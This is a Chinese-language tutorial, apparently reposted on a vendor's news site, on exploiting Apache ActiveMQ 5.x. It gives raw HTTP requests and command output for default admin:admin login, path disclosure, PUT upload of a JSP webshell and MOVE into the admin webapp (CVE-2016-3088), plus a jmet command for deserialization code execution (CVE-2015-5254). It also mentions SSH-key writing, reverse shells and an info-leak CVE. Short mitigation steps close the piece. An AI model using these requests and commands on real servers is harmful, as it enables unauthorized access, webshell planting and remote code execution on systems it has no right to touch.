您好,登錄后才能下訂單哦!
ActiveMQ漏洞利用的方法是什么,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來學(xué)習(xí)下,希望你能有所收獲。
Apache ActiveMQ是Apache軟件基金會所研發(fā)的開放源代碼消息中間件;由于ActiveMQ是一個純Java程序,因此只需要操作系統(tǒng)支持Java虛擬機(jī),ActiveMQ便可執(zhí)行。ActiveMQ 是一個完全支持JMS1.1 和J2EE 1.4規(guī)范的 JMSProvider實現(xiàn),盡管 JMS 規(guī)范出臺已經(jīng)是很久的事情了,但是JMS在當(dāng)今的J2EE應(yīng)用中間仍然扮演著特殊的地位。
ActiveMQ可以多種利用方式,但是絕大部分提及都是比較單一的利用方式。
環(huán)境:Apache ActiveMQ 5.7.0
IP:192.168.197.25
1、Console存在默認(rèn)端口和默認(rèn)密碼/未授權(quán)訪問(默認(rèn)密碼為admin:admin)
ActiveMQ默認(rèn)使用8161端口,使用nmap對目標(biāo)服務(wù)器進(jìn)行掃描:
[root@localhost src]# nmap -A -p8161 192.168.197.25 \ Starting Nmap 5.51 ( http://nmap.org ) at 2017-10-26 15:31 CST Nmap scan report for 192.168.197.25 Host is up (0.00016s latency). PORT STATE SERVICE VERSION 8161/tcp open http Jetty httpd 7.6.7.v20120910 |_http-methods: No Allow or Public header in OPTIONS response (status code 401) | http-auth: HTTP/1.1 401 Unauthorized | |_basic realm=ActiveMQRealm |_http-title: Error 401 Unauthorized
2、ActiveMQ物理路徑泄漏漏洞
ActiveMQ默認(rèn)開啟PUT請求,當(dāng)開啟PUT時,構(gòu)造好Payload(即不存在的目錄),Response會返回相應(yīng)的物理路徑信息:
Request Raw: PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1 Host: 192.168.197.25:8161 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 4 test
Response Raw: HTTP/1.1 500 /data/apache-activemq-5.7.0/webapps/fileserver//.././(No such file or directory) Content-Length: 0 Server: Jetty(7.6.7.v20120910)
3、ActiveMQ PUT任意文件上傳漏洞
ActiveMQ默認(rèn)開啟PUT方法,當(dāng)fileserver存在時我們可以上傳jspwebshell。
Request Raw: PUT /fileserver/shell.jsp HTTP/1.1 Host: 192.168.197.25:8161 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 26 this is jsp webshell code.
Response Raw: HTTP/1.1 204 No Content Server: Jetty(7.6.7.v20120910)
一般構(gòu)造返回204響應(yīng)碼即為成功,筆者測試其他環(huán)境為不可put時,返回為404或500。 put完成,我們查看service下的信息:
[root@localhost fileserver]# pwd /data/apache-activemq-5.7.0/webapps/fileserver [root@localhost fileserver]# ls index.html META-INF shell.jsp WEB-INF [root@localhost fileserver]# cat shell.jsp this is jsp webshell code. [root@localhost fileserver]#
4、ActiveMQ任意文件文件移動漏洞
ActiveMQ除了支持PUT協(xié)議之外,還支持MOVE協(xié)議。
Request Raw: MOVE /fileserver/shell.jsp HTTP/1.1 Destination:file:/data/apache-activemq-5.7.0/webapps/admin/shell.jsp Host: 192.168.197.25:8161 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 17 Content-Length: 0
Response Raw: HTTP/1.1 204 No Content Server: Jetty(7.6.7.v20120910)
服務(wù)器信息如下:
[root@localhost fileserver]# ls index.html META-INF shell.jsp WEB-INF [root@localhost fileserver]# cat shell.jsp this is jsp webshell code. [root@localhost fileserver]# ls index.html META-INF shell.jsp WEB-INF [root@localhost fileserver]# ls index.html META-INF WEB-INF [root@localhost fileserver]# cd .. [root@localhost webapps]# ls admin demo favicon.ico fileserver index.html styles [root@localhost webapps]# cd admin/ [root@localhost admin]# ls 1.jsp browse.jsp decorators index.jsp META-INF queueGraph.jsp send.jsp styles topics.jsp 404.html connection.jsp graph.jsp js network.jsp queues.jsp shell.jsp subscribers.jsp WEB-INF 500.html connections.jsp images message.jsp queueConsumers.jsp scheduled.jsp slave.jsp test xml [root@localhost admin]#
同理,寫ssh key一樣,在此不再重復(fù)造輪子。
影響版本:Apache ActiveMQ 5.x ~ 5.14.0
CVE信息:CVE-2016-3088
4. ActiveMQ反序列化漏洞(CVE-2015-5254)
ActiveMQ默認(rèn)對外開啟61616端口,默認(rèn)為ActiveMQ消息隊列端口。
其中存在一下小的細(xì)節(jié)問題:
工具releaes的為JDK 1.7,如果自己build可無視
使用工具需要在當(dāng)前目錄下創(chuàng)建一個external目錄,否則會出現(xiàn)NoSuchFileException
通過構(gòu)造payload,向隊列發(fā)送反序列化數(shù)據(jù)到消息隊列中。
(工具下載地址:https://github.com/matthiaskaiser/jmet)
[root@sevck_v3 ~]# java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "python /tmp/test.py" -Yp "CommonsCollections1" 192.168.197.25 61616 INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:sevck_v3.0-45938-1516678757604-0:1 INFO d.c.j.t.JMSTarget [main] Sent gadget "CommonsCollections1" with command: "python /tmp/test.py" INFO d.c.j.t.JMSTarget [main] Shutting down connection ID:sevck_v3.0-45938-1516678757604-0:1
查看消息隊列觸發(fā):
服務(wù)器監(jiān)聽:
注:如果反彈不成功可能的原因是JAVA Runtime.getRuntime().exec()中不能使用管道符,需要進(jìn)行一次編碼
推薦工具:http://jackson.thuraisamy.me/runtime-exec-payloads.html
影響版本:Apache ActiveMQ 5.13.0的版本之前的存在反序列化漏洞
CVE信息:CVE-2015-5254
5.ActiveMQ 信息泄漏漏洞(CVE-2017-15709)
在最新的版本中apache-activemq-5.15.0 toapache-activemq-5.15.2和apache-activemq-5.14.0to apache-activemq-5.14.5中61616默認(rèn)使用了OpenWire協(xié)議,開啟了debug模式,debug模式會泄漏操作系統(tǒng)相關(guān)信息
影響版本:Apache ActiveMQ5.14.0 – 5.15.2
CVE信息: CVE-2017-15709
針對未授權(quán)訪問,可修改conf/jetty.xml文件,bean id為securityConstraint下的authenticate修改值為true,重啟服務(wù)即可
針對弱口令,可修改conf/jetty.xml文件,bean id 為securityLoginService下的conf值獲取用戶properties,修改用戶名密碼,重啟服務(wù)即可
針對反序列化漏洞,建議升級到最新版本,或WAF添加相關(guān)規(guī)則進(jìn)行攔截
針對信息泄漏漏洞,啟用TLS傳輸或升級到Apache ActiveMQ的5.14.6或5.15.3以上版本
看完上述內(nèi)容是否對您有幫助呢?如果還想對相關(guān)知識有進(jìn)一步的了解或閱讀更多相關(guān)文章,請關(guān)注億速云行業(yè)資訊頻道,感謝您對億速云的支持。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。